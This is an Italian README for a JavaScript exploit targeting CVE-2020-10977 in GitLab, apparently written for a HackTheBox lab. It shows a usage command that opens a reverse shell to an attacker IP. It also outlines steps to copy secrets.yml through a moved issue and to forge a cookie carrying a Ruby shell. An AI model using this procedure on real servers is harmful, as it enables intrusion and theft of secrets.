CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE

Basato interamente su https://github.com/dotPY-hax/gitlab_RCE, che non funzionava per me e il parsing HTML sembrava macchinoso, così l'ho riscritto in js.

Utilizzo

Avvia un handler di reverse shell nel modo consueto, quindi esegui questo script con:

TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
 TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
 LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
 node gitlab_rce.js

Un proxy può essere specificato con TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080". Burp è particolarmente utile per il debug con questo.

Cosa fa

1. verifica se il target è attivo
2. se l'utente fornito esiste, salta al punto 5
3. cerca un nome utente che non esista già
4. crea quell'utente
5. tenta l'accesso
6. crea due progetti vuoti
7. crea un nuovo ticket di segnalazione con un link dannoso nel corpo nel primo progetto
8. sposta il nuovo ticket nell'altro progetto, facendo sì che GitLab riscriva il nostro link dannoso e copi il file a cui punta nella directory uploads
9. recupera il file target, in questo caso vogliamo secrets.yml per secret_key_base
10. usa secret_key_base per creare un cookie malevolo con la nostra shell Ruby e passarlo a GitLab